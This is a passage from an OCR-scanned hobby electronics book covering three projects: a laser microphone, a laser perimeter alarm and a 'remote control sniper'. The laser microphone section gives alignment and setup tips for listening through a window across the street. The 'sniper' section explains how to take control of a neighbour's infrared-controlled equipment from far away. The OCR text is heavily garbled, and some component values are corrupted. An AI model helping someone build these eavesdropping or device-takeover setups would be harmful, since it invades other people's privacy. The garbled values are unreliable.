achieved  (be  best  results.  The  laser  beam  is  always 
going  to  be  way  too  much  light  for  the 
l^ototnuisistor.  which  is  why  the  beam  must  be 
ofl^t  ftom  (he  phoioiraasistor’s  input  window. 
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project  88— Laser  Microphone  Experiment 


Fl  g ure  14  -15  Testing  the  iaser  microphone  wm*  the  window  simuhtoe 


Detecting  a laser  beam  with  a pbototransistor  is 
like  listening  to  a rock  concert  by  holding  a 
stethoscope  directly  to  the  speaker  on  an  ampUher. 
so  we  must  offset  the  received  beam  so  only  its 
edge  hits  the  input  window.  Varying  the  gain 
potentiometer  can  reduce  some  of  this  over 
saturation,  but  in  reality,  this  just  reduces  the 
fidelity  of  the  audio  signal.  You  will  see  exactly 
what  t am  talking  about  when  you  set  up  your  test 
unit  using  the  window  simulator.  You  are  almost 
ready  for  testing  the  laser  microphone,  but  Rrst. 
you  need  a laser  to  be  used  os  your  source.  As 
shown  in  Figure  14- 1 5, 1 have  connected  a garden 
variety  red  laser  pointer  to  a 9- volt  battery  using  a 
4. 5- volt  regulator. 

The  laser  could  be  run  from  the  original  button 
cells  as  well,  but  due  to  the  steady  use.  they  would 
be  drained  in  only  a few  minutes.  With  a 9- volt 
battery,  or  three  AAA  cells,  the  run  duradon  will 
be  several  hours.  I would  avoid  using  on  AC 
adapter  to  run  the  source  laser,  as  this  could 
introduce  hum  into  the  receiver  if  there  was  even 
the  slightest  ripple  in  the  regulation  circuitry,  a 
common  problem  with  most  AC  adapters.  If  you 
are  worried  about  long  duradon  run  time,  then 
three  D size  bancries  powering  the  laser  will  yield 
more  than  a full  day  of  operation. 

Before  you  get  deep  into  the  covert  operations,  it 
is  a good  idea  Co  practice  a few  alignments  using 
the  window  simulator  so  you  can  not  only  verify 


that  the  unit  is  funcdwtal.  but  gain  some  practice 
in  (be  sometimes  black  an  of  alignment.  As  shown 
in  Figure  Id^lS.  I have  placed  the  window 
simulator  speaker  roughly  90  degrees  to  the  bench 
so  that  the  reflected  beam  would  be  easily  captured 
by  the  receiver's  pbototransistor.  The  small 
microrecorder  is  playing  a bit  of  recorded  music  at 
a volume  level  so  slight  that  I can  just  barely  hear 
it  cm  the  speaker  if  my  ear  was  pressed  against  it. 
Although  (he  laser  beam  is  only  simulated  in  the 
photo,  it  is  indeed  working,  and  at  this  distance  of 
only  a few  inches,  alignment  was  a very  simple 
task.  Working  with  the  unit  across  the  room  is 
cfuite  a bit  more  challenging,  and  takes  a fair 
amount  of  trial  and  error  to  get  things  aligned 
property.  I would  first  shine  the  laser  directly  at  (he 
Uule  mirror  on  the  speaker,  and  then  look  to  see 
whett  on  the  wall  behind  me  the  reflected  beam 
was  ending  up.  and  depending  on  the  angle  of  the 
mirror  to  the  source,  this  could  be  several  inches  to 
many  feet  from  the  origin.  As  you  will  have  found 
out  really  quickly,  there  will  be  almost  zero  chance 
of  the  receiver  and  source  laser  being  in  the  same 
spot  during  operation,  as  y<Hi  have  very  little 
control  over  (he  orieniatioo  of  (he  reflective  surface 
at  the  target.  If  you  ever  see  a so-called  *Haser  spy" 
device  for  sale  that  combines  the  source  laser  with 
the  receiver,  then  most  certainly  it  will  be  nothing 
more  than  a short  range  toy,  functional  only  in  the 
most  controlled  test  bench  environment.  Bouncing 
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a laser  beam  off  of  a window  across  ibe  street  is 
entirely  possible  as  long  as  ibe  alignment  between 
your  position  and  the  target  window  is  ooi  so  far 
off  that  the  retuming  beam  misses  your  location,  a 
problem  that  is  muldpUed  as  Ibe  distance  between 
the  source  and  target  increases. 

You  should  be  able  to  make  the  unit  function  no 
matter  where  you  place  tbe  window  simulator  in 
your  house,  but  as  you  might  have  already  found 
out,  your  receiver  may  be  on  d>e  opposite  side  of 
the  room  from  the  source  beam,  or  even  worse, 
many  feet  higher  or  lower  depending  on  both  tbe 
vertical  and  horizontal  misoJignmeni  between  the 
angle  of  the  beam  and  target  reflector.  If  you 
out  your  window  and  see  nothing  except  buildings 
full  of  windows  aligned  in  the  same  manner  as 
your  window,  then  it's  going  to  be  easy  hunting. 
But  if  this  is  not  the  case,  you  may  have  to  choose 
your  setup  iocation  in  order  to  catch  the  received 
beam.  Once  you  have  the  knack  of  aligning  the 
iaser  microphone  in  your  test  area  using  the 
window  simulator,  go  ahead  and  try  a real  test 
using  your  own  window.  If  you  cannot  spot  a 
window  from  your  test  bench,  then  some  type  of 
proper  mounting  of  the  source  iaser  and  receiver 
will  be  necessary  as  I have  done  in  Figures  14>16 
and  14-17.  Figure  14-16  shows  the  receiver  built 
into  a small  project  box  to  contain  all  of  the 
electronics  and  batteries.  The  box  is  then 
mounted  to  a bit  of  plastic  that  can  be  anached 
to  any  .standard  tripod  used  for  video  or  still 
photography. 

You  will  also  notice  that  there  is  a gun  sight 
placed  directly  in  from  of  the  receiver's 
phototransisior  in  Figure  14-16,  and  although  this 
does  little  to  increase  the  range  of  the  unit,  it  does 
allow  the  use  of  a video  camera  during  alignment 
at  la^  distances.  Since  you  would  never  wont  to 
look  through  a gun  sight  when  attempting  to  spot 
the  reflected  laser  beam,  a small  black  and  white 
video  camera  can  be  swapped  for  the  receiver  and 
viewed  safely  on  a mooitor  while  you  attempt  to 
position  the  source  beam  and  receiver’.s  tripod. 
Because  of  the  sensitivity  of  the  low  lux  black  and 


Figure  IM-16  TTie  weiwr  unit  is  mounieJ  m a iriptui 
for  easy  atifinmtni. 


white  camera,  it  is  easy  to  .see  the  general  direction 
of  ihe  reflecting  beam  even  if  it  is  not  yet  hitting 
the  receiver.  Once  the  reflected  beam  is  within 
visible  range  (shown  as  a spot  on  your  wall), 
you  can  then  remove  the  camera  and  replace 
it  with  the  receiver  box  for  (Inal  alignment. 
Alihou^  this  method  did  work  well  for  me, 
es'en  when  experimenting  with  an  infrared  laser, 
il  is  definitely  not  tbe  only  answer  to  alignment, 
and  with  a little  creativity,  you  will  most  likely  be 
able  10  invent  a much  faster  and  more  reliable 
method.  Figure  14-17  shows  the  source  laser 
contained  in  a small  plastic  box  with  its  external 
baiiery  source  and  a power  switch,  Using  batteries 
as  a power  source  eliminates  any  induce  hum  from 
AC  noise,  a problem  that  con  easily  drown  out  the 
usable  audio  signal.  This  experiment  does  indeed 
prove  thai  the  laser  microphone  is  a working 
device,  but  not  like  many  of  the  spy  stores  claim 
with  their  "point  and  shoot"  ready  to  operate  uniLs. 
Distance  targeting  requires  a lot  of  patience  in 
ending  the  proper  location  of  your  source  beam 
and  receiver,  and  there  are  many  factors  that  can 
easily  render  the  signal  unusable. 
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Project  89— Laser  Perimeter  Alarm 


fl  g u re  The  source  laser  is  powered  by  baaery 

and  mounted  to  a tripod, 

Ther«  should  be  no  reason  at  all  that  the  la^er 
microphone  would  fail  when  expenmenilng  with 
the  window  simulator,  even  at  great  dUiances, 
although  alignment  may  have  been  a bit  of  a chore. 
When  bouncing  the  beam  real  world  objecu,  a 
lot  can  hamper  the  ability  of  the  unit  to  collect  a 
usable  source.  Some  of  these  factors  include:  the 
inability  to  bounce  the  source  back  to  your 
location  due  to  exueme  angles;  dirty  surfaces 
reflecting  a very  reduced  beam;  multiple  panes  of 
glass  causing  a dampening  of  sound;  extreme  hum 
from  a nearby  street  light;  sound  levels  much  too 
weak  in  the  target  area;  ambient  noise  levels  in  the 
target  room  too  high;  and.  countermeasures  such  as 
white  noise  or  infrared  modulation  in  use. 


So,  there  you  have  it— the  good,  the  bad,  and  the 
ugly  on  the  mythical  laser  microphone  device.  I 
hope  1 didn't  turn  you  off  from  building  an 
cjiperiinenul  unit  as  the  device  does  indeed  work 
if  the  conditions  are  in  your  favor  I was  able  to 
record  a conversation  of  moderate  levels  from  a 
location  across  the  street  from  my  source  laser  and 
receiver,  and  alUiough  this  was  a controlled 
experimem  with  optimal  position  of  the  two 
buildings,  often  these  conditions  will  arise  right 
outside  your  own  window.  If  you  plan  on  building 
the  device  into  a portable  hand-held  unit  that  you 
can  aim  at  any  window,  instantly  eavesdropping  on 
any  sound  in  the  room,  then  you  will  be  greatly 
disappointed,  and  no,  those  cheap  devices  that 
claim  to  do  this  rarely  work  well  at  all.  The  laser 
microphone  is  a device  for  the  truly  dedicated  spy 
who  does  not  mind  hiding  in  the  darkness 
tweaking  electronics  and  pushing  the  envelope  of 
possibilities  to  the  maximum.  I do  intend  to  study 
this  technology  much  further  to  Improve  on  not 
only  the  usable  range  of  the  device,  but  also  the 
filtering  and  enhancing  of  (he  received  audio 
signal.  With  enough  patience  and  undersumding. 
it  may  even  be  possible  to  create  a device  that  can 
shoot  a laser  at  a distant  window  and  instead  of 
attempting  to  catch  the  reflected  beam,  directly 
decode  the  slight  variations  of  the  exact  spot 
where  the  laser  point  is  hining  the  target.  Yes. 

(his  would  lake  an  extremely  sensitive  receiving 
system  with  state  of  the  art  long-range  optics,  but 
you  just  never  know  what  the  Evil  Genius  could 
accomplish  with  the  proper  motivation.  Are  you 
up  to  the  task? 


Project  89— Laser  Perimeter  RIarm 


In  most  high-tech  crime  or  spy  movies  there  is  a 
scene  in  which  (he  hero  or  villain  will  find 
him/herself  traversing  a secure  room  jam  packed 
with  laser  beams  bouncing  all  over  the  place,  and 


if  even  one  beam  is  crossed,  the  alarm  will  sound, 
fwling  his/her  evil  plans.  Well,  how  would  you  like 
to  have  that  exact  system  installed  in  your  home  or 
office,  built  from  nothing  more  than  a cheap  laser 
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Figure  1M*1 6 A lypicol  Uiser  pointer  and  some  derual 
mirrors  are  a few  of  ike  rt4fuirtd  ports. 


pointer,  a few  denial  mirrors  and  a handful  of  easy 
(0  find  electronic  ccmponeais?  Yes,  you  can  have  a 
staie'Of-ihe-an  laser  security  system  which  with 
proper  in.staJluiion  can  be  just  as  foolproof  as  the 
ones  you  see  in  the  movies.  This  laser  perimeter 
alarm  system  can  be  installed  Just  about  anywhere, 
and  depending  on  how  many  mirrors  you  want  to 
use.  could  protect  an  extremely  large  area  from 
unwanted  gucsi.'t. 

The  laser  beam  source  for  the  alarm  is  just  a 
typical  visible  red  laser  pointer,  and  the  reflective 
points  that  will  steer  the  beam  around  the 
perimeter  of  your  secured  area  arc  made  from 
commonly  availi^le  dental  mirrors  as  shown  in 
Figure  14-18.  You  could  use  as  little  os  one  mirror 
to  make  a working  device,  or  as  many  as  you  have 
patience  to  align,  but  three  or  four  mirrors  is 
usually  the  optimum  ch^ce  to  protect  u room 
or  yard. 

The  laser  source  will  need  some  type  of  exieroal 
power  source  other  than  those  wimpy  button  cells 
that  came  with  it  since  it  will  be  running  at  all 
limes.  Like  many  of  the  previous  projects  in  this 
section,  connecting  the  laser  to  an  external  power 
supply  such  as  three  1.5- volt  boneries  in  scries  ora 
higher  voltage  battery  through  a 4.5-volt  rcgulaior 
will  do  the  trick.  Because  the  laser  beam  does  not 
have  to  be  absolutely  fluctuation  free,  an  AC 
adapter  feeding  the  proper  voltage  through  a 
regulator  would  also  be  Just  fine;  jusi  moke  sum 
you  never  exceed  the  pointer's  4.5- volt  rating. 


Although  a laser  pointer  will  run  continuously  for 
many  hundreds  of  hours,  you  may  actually  want  to 
work  with  a higher  quality  laser  module,  as  these 
units  can  be  directly  pow'ered  by  a standard  5-voll 
regulator,  have  a higher  tolerance  to  voltage 
fluctuadons.  and  are  speciiicaJly  designed  for  loog- 
lenn  use  where  a highly  collimated  or  focusable 
beam  is  rteeded.  Laser  modules,  however,  do  cost 
10  times  the  price  of  cheap  laser  pointers,  so  even 
if  you  have  to  replace  the  pointer  every  year,  it  still 
is  very  ectmotnical.  1 mounted  my  laser  pointer  in 
a small  plastic  box  with  a switch  and  a 4.5- volt 
regulator  that  can  accept  a DC  power  source  from 
9 to  12  volts,  so  any  common  wall  wan  could  be 
used.  The  laser  pointer  shell  is  held  securely 
through  the  hole  cut  in  the  box  lid  and  the  plastic 
tie  wrap  which  also  keeps  the  small  pushbutton 
switch  on  the  laser  body  engaged.  This  unit  is  not 
weatber^Mtiof.  but  could  easily  be  made  so  by 
mounting  ji  Utsidc  some  type  of  lighting  enclosure 
or  jar.  I did  not  need  this  as  my  system  placed  the 
source  laser  inside  the  house  with  the  beam 
heading  out  the  window.  The  laser  point er  is 
shown  in  Figure  14-19.  mounted  in  the  small 
plastic  box  with  the  regulator  and  switch. 

The  heart  of  this  system  is  a small  light-sensitive 
device  called  a cadmium  .sulphide  photocell,  a 
smalt  semiconductor  that  changes  its  resi.stance 
depending  on  how  much  light  strikes  the  surface. 
Think  ofii  as  a solar  cell  that  generuies  a change 
in  impedance  rather  than  a voltage.  Because  the 
resistance  changes  from  about  10  kQ  in  full 
daylight  to  as  much  as  I in  darkness,  this  large 
resistance  swing  con  easily  be  adapted  to  switch  a 
transisiOT  on  or  off  light  or  dark  detection— 
dark  detection  in  our  case.  In  the  schematic  shown 
in  Figure  14-20.  the  photocell  will  not  be  able  to 
satumie  the  base  of  the  transistor  as  long  as 
sufGcient  light  such  as  that  from  our  la.ser  is 
striking  the  surface.  The  variable  resistor  is  used  to 
set  the  sensitivity  of  the  unit  so  that  it  will  function 
^perly  in  daylight,  which  to  the  photocell  is  nut 
nearly  as  bright  a.s  the  highly  focused  laser  spot. 
Once  the  luser  beam  is  inteirupted,  the  base  of  the 
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FI  g u re  *19  The  laser  painter  will  run  continuously  from  an  AC  adapter. 


transistor  wi)l  see  enough  voltage  to  close  ibe 
emitter  collector  circuit  and  set  the  l2-voli  buzzer 
g screaming  for  your  attention.  To  make  sure  you 
^ hear  the  buzzer,  a large  capacitor  with  a value 
of  at  least  1000  ^P  is  placed  In  parallel  with  the 
p-l  buzzer  so  that  it  runs  for  at  least  a few  seconds 
rd!  even  if  the  laser  beam  t$  only  imemipted  for  a 
fraction  of  a second.  To  moke  the  buzzer  wail  a 
^ little  longer,  just  add  a larger  capacitor,  or  more  of 
^ them  itt  parallel.  The  buzzer  is  a stand-alone  unit 
that  only  requires  a power  source  to  emit  sound, 
g These  sources  can  be  found  in  doorbells,  door- 
opening  alarms,  or  olT  the  shelf  at  your  electronics 
^ hobby  store.  Any  buzzer  between  5 and  1 2- volts 
(D  will  be  run  just  fine  from  a 9- volt  battery  using  a 
^ standard  2N222  or  3904  NPN  transistor  as  the 
switch. 

^ The  ultra  simple  circuit  is  very  effective,  and 
^ depending  on  where  you  allow  the  laser  beam  to 
^ go  before  it  enters  the  photocell,  detection  of 
people,  small  animals  or  even  large  bugs  would  be 
I no  problem  at  all  since  any  object  larger  than  the 
<Xj  1 laser  spot  will  break  the  beam  temporarily. 
00  As  long  as  the  source  laser  unit,  reflecting  mirrors 
and  receiver  are  mounted  in  a sturdy  fashion,  the 
^ range  of  the  device  could  easily  exceed  several 
^ hundred  feet,  allowing  you  to  protect  an  area  as 
^ small  as  your  bedroom  or  as  large  as  a football 
Q field.  There  is  really  no  limit  to  the  number  of 
m mirror  bounces  you  can  implement  to  this  unit,  but 
Qj  do  remember,  every  single  mirror  adds  another 
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Figura  W-20  The  laser  perimeter  alarm  schemahe 
uses  a phattKellfar  deitction. 

level  of  complexity  to  alignmenu  a task  that  takes 
a bit  of  patience  to  get  correct. 

Before  you  start  stringing  mirrors  all  over  the 
yard,  mount  the  alarm  circuit  in  a type  of  sturdy 
enclosure,  and  test  its  operation  by  aiming  the  laser 
directly  at  the  surface  of  the  photocell  while  you 
rum  the  potentiometer  until  the  alarm  stops.  Once 
the  alann  is  silent,  an  interruption  of  the  beam  will 
set  it  off  instantaneously  when  the  unit  is  working 
properly.  Battery  operation  is  fine  for  this  device, 
as  it  will  draw  very  little  current  when  it  is  not 
sounding  the  alann.  As  shown  in  Figure  14>21,  the 
cireuit  is  so  simple  that  it  fits  on  a bit  of  perf  board 
that  takes  up  less  space  than  the  9*voll  battery 
powefiflg  the  unit  The  larger  black  disc  is  the  high 
pitch  alarm,  and  it  has  a very  capable  ear-piercing 
screech  that  can  be  beanl  a long  way  away.  The 
variable  resistor  is  mounted  directly  to  the  board. 
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Figure  IM-31  The  laser  perimeter  alarm  device  uses  a 
photocell  for  detection. 


and  normally  it  would  not  need  any  more  than  the 
initial  adjustment  to  ^ei  the  oJann  i»ensi(jvi(y  set  up 
correctly. 

The  receiver  can  be  mourned  in  the  same  manner 
as  the  source  laser,  in  a type  of  plastic  coniaioer 
(hat  will  contain  the  circuit  board,  battery  and  a 
switch  if  you  decide  to  add  one.  I found  a small 
plastic  box  just  large  enough  (o  contain  the  unit,  as 
well  as  the  front  lem  from  one  of  those  door 
peephole  gadgets.  The  lens  does  not  really  do 
much  for  sensitivity  or  alignment,  but  it  does 
protect  (he  surface  of  the  photocell,  and  adds  a 
nice  professional  look  to  the  completed  unit. 

Your  job  now  is  to  place  the  source  laser, 
reflectors  and  alarm  in  such  a way  that  the  beam 
traces  out  the  perimeter  of  the  area  you  want  to 
secure  at  a level  that  will  allow  desirable  targets  to 
interrupt  the  beam.  If  you  do  not  want  to  hear  that 
siren  screeching  in  the  middle  of  the  night  every 
time  a mouse  or  other  critter  walks  through  your 
beam,  (hen  shoot  for  a beam  height  of  at  least  three 
feet.  Although  it  is  true  that  a person  could  just 
jump  over  the  beam  or  crawl  underneath,  unlike 
the  movies  that  show  a brilliant  read  laser  path,  the 
light  will  be  completely  invisible  at  every  poim  in 
the  system  with  Che  exception  of  the  pointer’s  exit 
tube  and  (he  dot  on  the  photocell.  To  see  a red 
laser  beam  would  require  a la.ser  with  enough 
power  to  cut  the  target  in  half — not  the  goal  of  this 
projecd  In  the  movies,  Ihe  effects  folks  will  either 


Figure  m-32  A tangled  of  laser  light  is  directed 
by  mimtrs  to  the  alarm. 


fiU  (be  room  with  a bit  of  smoke  co  show  the  beam, 
or  simulate  the  beam  with  computer  graphics. 
Aligning  the  mirrors  is  not  very  difficult  unless 
you  have  more  than  four  of  them  around  your 
perimeter,  then  it  takes  a bit  of  effon.  Evety  mirror 
adds  twice  the  margin  of  error,  und  even  the 
slighiesi  movement  at  the  source  would  end  up 
becoming  a large  diversion  of  the  final  beam.  To 
begin,  set  the  source  laser  so  that  it  is  held  securely 
in  fHace  on  either  a window  sit)  or  tripod  and  point 
it  towards  the  first  comer  of  your  perimeter  at  as 
parallel  to  the  ground  as  you  cun.  A helper  holding 
a bit  of  white  paper  at  (he  target  area  can  make  this 
job  a lot  simpler.  Once  the  beam  is  hitting  the  first 
comer  of  the  perimeter,  place  a mirror  ai  45 
degrees  to  the  spot  so  you  can  reflect  ii  into  the 
□ext  comer  where  your  helper  will  again  be 
walling  with  (be  while  paper:  45  degrees  is  not  a 
required  angle,  it  i.s  just  the  correct  angle  that  you 
would  need  to  moke  a 90'degrce  comer  in  a square 
yard.  Again,  you  will  want  the  beam  to  remain  as 
close  to  paioilel  to  (he  ground  as  possible  until  the 
last  minor,  where  it  may  be  required  to  bounce  the 
beam  upwards  towards  the  photocell.  Adjustment 
should  always  be  done  cnirror  by  mirror  rather  than 
attempting  to  move  the  actual  source  laser  or  any 
mirror  previous  to  the  last  one  you  installed — this 
will  make  the  job  a lot  easier.  As  shown  in 
Figure  14-22  (simulated  beam),  the  laser  beam  is 
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Sniper 


deflected  by  tbe  mirrors  as  ibouih  it  were  a tennis 
ball  thrown  against  a brick  waJI — 45  degrees 
makes  a 90*degree  comer. 

It  is  also  no  problem  at  all  to  cross  the  beams,  as 
long  as  the  photocell  becomes  the  Gnal  destination 


of  the  source  laser  beam.  Now  you  will  have  an 
early  detection  and  warning  system  the  next  time 
an  intruder — human  or  animal — invades  your 
space. 


Project  90 — Remote  Control  Sniper 
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Here  is  a project  that  will  give  you  power  over 
almost  any  infrared  remote  controlled  device  that 
you  can  sec  with  your  naked  eyes  or  through  a pair 
of  binoculars.  Why  on  earth  would  you  want  to 
lake  control  of  a television.  VCR.  or  stereo  system 
from  10  blocks  away  you  ask?  Let’s  not  forget  the 
title  of  this  book,  people!  Of  course,  there  may  be 
a time  when  the  loud  parties  next  door  at  3:00  a.m. 
disturb  your  peaceful  slumber,  so  rather  than 
repeatedly  trying  to  reason  with  the  panygoers  or 
wait  hours  for  the  police  to  show  up  to  shut  the 
party  down,  you  decide  to  take  maitera  in  your 
own  hnnds  and  shut  off  their  music  with  the 
remote  control  sniper,  so  that  you  can  get  some 
shut  eye. 

This  project  uses  some  of  the  techniques 
discussed  in  the  laser  beam  transmitter  earlier  in 
this  section.  alilKmgh  this  lime  (he  information  is 
in  the  form  of  remote  control  protocol  earned  by 
an  invisible  laser  beam.  This  project  can  be 
thought  of  as  the  world’s  longest  range  infrared 
remote  control,  as  this  is  actually  what  it  is. 

A typical  remote  control  will  have  a range  of 
about  50  feet,  depending  on  how  much  current  is 
pulsed  into  the  one  or  more  940  nm  infrared  LEDs 
used  to  modulate  the  40  kHx  remote  control  signal. 
Although  the  LEDs  can  be  made  to  emit  a fair 
amount  of  Light  for  (heir  siie.  (he  expected  range 
will  never  be  anywhere  near  wbai  even  the 
smallest  loser  can  achieve.  Even  an  array  of  1000 
LEDs  will  barely  be  able  to  transmit  the  remote 
control  signal  across  the  street,  whereas  a 5 mW 


laser  module  will  easily  reach  1000  feet  or  more. 
Tbe  laser  does  have  ib  drawback  though,  and  what 
it  does  is  trade  distance  for  field  of  view.  The 
typical  remote  control  seems  to  work  no  matter 
what  direction  you  point  it  in.  even  though  the 
LEDs  are  always  oi  the  lop  end  of  the  unit.  You 
can  even  point  tbe  remote  conuol  at  a distant  wall 
opposite  of  the  television,  or  hide  it  under  you  shirt 
and  it  will  still  work,  but  the  laser  has  no  such 
similarities,  and  must  be  pointed  directly  at  the 
target  in  onkt  to  deliver  its  light. 

Because  of  the  ultra  directional  properties  of  a 
laser  beam,  we  must  target  the  appliance's  infrared 
receiver  directly  with  the  beam,  a factor  that 
actually  mokes  this  device  better  for  sniping.  Since 
you  will  want  (o  lake  control  over  a very  disiom 
target,  the  ability  to  spot  (he  exact  point  where  the 
beam  will  be  most  effective  is  a bonus. 

Since  we  are  going  to  be  merging  a laser  module 
into  a universal  remote  control,  you  will  need  to 
start  with  these  two  items.  As  shown  in 
Figure  I4>25.  a garden-variety  universal  remote 
control  with  standard  TV.  VCR.  DVD,  and  home 
enicnainment  functionality  is  chosen  as  our  from 
end.  The  more  devices  the  controller  can  imitate, 
(he  better,  as  you  might  have  to  ‘'hack"  the  target 
system  by  trying  many  different  codes  if  it  cannot 
be  identified  from  the  distance  you  might  be 
required  to  operate  from  it.  Also  shown  in 
Figure  14-23  is  (he  infrared  loser  module,  a small 
808  nm  laser  with  an  output  power  of  no  more 
than  5 mW  for  cl  ass  III  operation. 
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Figure  IM-S3  A univtrja!  remote  control  and  infmrtd 
laser  module. 


The  laser  module  should  run  from  e 5>voli  DC 
source,  allow  adjusimem  of  the  collimaiing  lens, 
and  contain  a decent  voltage  regulator  (most  of 
them  do).  We  cannot  use  a typical  laser  pointer  for 
this  project  because  of  the  infrared  wavelength 
expected  by  the  target  equipment’s  remote  control 
receiver  module,  and  although  a red  or  green  loser 
may  work  at  very  close  range,  most  of  the  light 
spectrum  with  the  exception  of  the  infrared  portion 
will  be  filtered  out  by  the  lens  on  the  front  of  the 
detector.  The  laser  module  will  need  to  emulate  the 
function  of  the  onginal  remote  controls  LED(s) — a 
40  kHz  modulated  train  of  pulses  that  are  sent  to 
the  destination  receiver  in  order  to  issue  the  proper 
command.  We  do  not  need  to  fully  understand  the 
protocol  used  by  the  equipment,  or  even  the  exact 
specifications  of  the  signal,  os  we  am  going  to  let 
the  universal  remote  do  all  that  dirty  work  for  u$. 
We  will,  however  have  to  remove  the  original 

infrared  LED(s)  from  the  remote  conirot  as  slwwn 
in  Figure  14-24. 

Simply  unsolder  the  LED  or  LEDs  if  there  is 
more  than  one.  taking  note  of  which  hole  on  the 
circuit  board  correspoods  to  the  positive  anode 
(round  side  of  the  tubular  LED)  and  which  hole  on 
the  board  corresponds  to  the  negative  cathode  (flat 
side  of  the  tubular  LED).  Besides  looking  for  the 
flat  spot  on  the  LED  case  to  identify  polarity,  you 
could  also  look  on  (he  circuit  board  of  (be  remote 
control  to  find  some  common  ground  point,  or  try 


(o  figure  it  out  by  tracing  the  path  from  (be  driver 
transistor  to  the  LED.  If  aU  else  l^ls  and  you 
cannot  decode  which  point  is  positive  or  negative, 
just  remember  which  pin  came  horn  which  hole 
when  you  remove  the  LED  and  connect  it  both 
ways  to  a 1 J-volt  battery  to  see  which  lead  is 
positive  when  it  does  light  up.  This  will  have  to  be 
done  in  from  of  a video  camera  of  course,  as  you 
cannot  see  the  output  from  an  infrared  LED. 

When  you  do  figure  out  which  hole  on  (he 
circuit  board  is  the  anode  (positive  connection), 
solder  the  shielded  wire  from  a small  bit  of 
shielded  cable  such  as  microphone  cable  to  this 
spot,  and  solder  the  ground  wire  to  the  other  hole 
(negative  cathode).  As  shown  in  Figure  14-24,  an 
old  headphone  or  dubbing  cable  is  a good  choice, 
as  you  can  utilize  the  connector  at  the  other  end 
for  ease  of  connecting  the  universal  remote  to  the 
laser  modulaticm  circuit. 

Once  you  have  removed  the  original  infrared 
LEDs  from  the  universal  remote  and  installed  the 
si^uU  cable,  put  the  unit  back  together.  This  is  all 
that  needs  to  be  done  to  it.  You  could  still  use  it  as 
a regular  remote  control  simply  by  soldering  ihe  ^ 
original  LED  to  a Jack  that  will  snap  on  the  output  ^ 
wire,  a good  way  to  test  to  see  that  it  is  actually  H* 
functioning  before  you  continue.  The  next  part  of  *0 
this  project  is  to  create  the  laser  modulator,  a ^ 

circuit  that  will  pass  a current  through  a ^ 

transformer,  which  is  indirectly  coupled  to  the 
laser  module  each  lime  there  is  a pulse  introduced 
at  the  base  of  the  driver  transi.oor.  This  isolation  of 
the  laser  module  and  the  pulses  from  the  remote 

control  is  not  only  necessary  due  to  the  critical 
soilage  and  current  requirements  of  the  laser 
module,  but  it  is  the  very  system  that  creates  the 
modulation.  When  there  is  a change  in  current  at 
the  transformer's  primary  winding,  the  iron  core  is 
energized.  cau.sing  a change  in  current  on  the 
secondary  winding,  which  is  subsequently  placed 
directly  in  series  with  the  power  source  that 
supplies  the  laser  module.  This  sUght  change  in  the 
secondary  winding  causes  modulation  due  to 
variances  in  the  laser  module's  power  supply.  If 
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ypu  look  back  to  the  laser  transmitter  Project  86  in 
this  section,  you  will  see  that  there  is  a great 
similarity  between  this  circuit  and  the  laser 
transmitter  circuit,  the  only  dtlTerence  being  that 
the  audio  source  was  energizing  the  winding 
directly  in  the  original  circuit.  Because  the  output 
Irom  the  universal  remote  control  is  not  very 
strong,  we  need  the  transistor  to  amplify  the 
current  driven  into  the  transformer.  Have  a look  ai 
the  schematic  in  Figure  I4>25  to  get  a handle  on 
how  the  loser  module  is  used  to  replace  the 
original  infrared  LED  for  an  output  source. 

The  transformer  is  not  critical,  us  long  a.s  there 
are  two  independent  windings  that  measure 
between  4 and  20  ohms  each.  For  more 
Information  on  the  transformer,  see  the  laser 
transmitter  project  earlier  in  (his  section.  The  7805 
regulator  is  important  as  it  keeps  the  voltage  to  the 
laser  module  in  check,  and  allows  operation  from  a 
9- volt  battery  or  AC  power  adapter.  The  hose  of  the 
3904  NPN  transistor  Is  directly  driven  by  the 
output  (anode  connection)  from  the  univeraal 
remote  control,  while  the  ground  (cathode 
connection)  becomes  a common  ground  between 
the  modulator  circuit  and  remote  control.  There 
really  is  not  much  to  the  device,  which  is  why  it 
can  be  hand  wired  to  s square  inch  of  perf.  board 
as  shown  in  Figure  t4>26.  If  you  really  wanted  to 
get  sneaky,  it  could  be  built  right  into  the  exisdog 
remote  control  case,  as  there  is  usually  plenty  of 
ruom.  and  the  laser  module  is  not  much  bigger 


Figurn  Si'hemaiicfor  iht  remoif  eontrol  niv'ivr 

unit. 

than  the  original  LED.  I chose  to  build  my  unit  as 
a separate  device  so  it  could  be  mounted  to  a 
sturdy  base  for  longer'fange  operations. 

Moke  sure  that  the  input  Jack  (connection 
between  the  remote  control  and  modulator)  is 
hooked  up  with  the  correct  polarity  (anode  driving 
the  transistors  tMLse).  or  the  modulation  will  be 
inverted,  and  although  it  may  work  a little  hit.  the 
results  will  be  disa(^iniing.  It  is  also  a good  idea 
to  place  a switch  between  the  connection  at  the 
laser  and  (ransformer  because,  as  you  can  see  in  the 
schematic  shown  in  Figure  14-25,  the  laser  module 
will  always  be  powered  on  even  when  there  is  no 
modulation,  due  to  the  series  connection  between 
the  regulator,  laser  module,  and  ground.  This  is 
also  a good  point  at  which  to  make  sure  the  laser 
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Figure  lM-25  TV  remott  control  sniper  circuit  is 
hand  wired  to  a bit  of  perf.  hoard. 

module  is  functioning  properly,  and  (his  can  be 
dune  by  installing  the  banery  or  power  source  and 
throwing  the  switch  to  the  on  position.  You  won't 
sec  anything  coming  from  the  laser  module  as  its 
wavelength  in  in  the  invisible  infrared  region,  so 
you  will  have  to  aim  it  at  a light  colored  wall  and 
view  the  spot  with  some  type  of  video  camera. 

To  the  video  camera,  the  laser  spot  will  look  as 
though  it  was  being  produced  by  a visible  laser, 
showing  a nice  bright  and  sharply  focused  spot 
with  a diameter  of  approximately  a millimeter  or 
less.  This  procedure  of  viewing  the  invisible  laser 
through  a video  camera  will  prove  key  to  the 
operation  of  this  device  as  you  read  on.  All  of  the 
electronics,  the  laser  module,  a switch  and  the 
9«volt  battery  1 chose  for  a power  supply  fit  into 
ihc  small  plastic  box  shown  in  Figure  I4>27 — the 
la.ser  is  fed  through  a snuggly  fitting  hole  directly 
on  the  front  of  the  box. 

Before  you  anempt  to  commandeer  any  Img- 
range  targets,  connect  the  uais*ersaJ  remote  to  the 
modulator  and  attempt  to  control  your  own 
television  by  placing  the  laser  module's  output 
about  an  inch  in  front  of  the  TV’s  remote  control 
receiver  window.  You  should  have  no  problem  at 
all  switching  the  television  on  and  off  with  this 
device  if  both  the  remote  control  and  modulator 
are  working  as  they  should.  If  you  do  have  a 


Figure  lM-37  The  remote  controi  wi^r  circuit 
mounted  in  a piasric  box. 

problem,  remove  the  modulator,  and  snap  the 
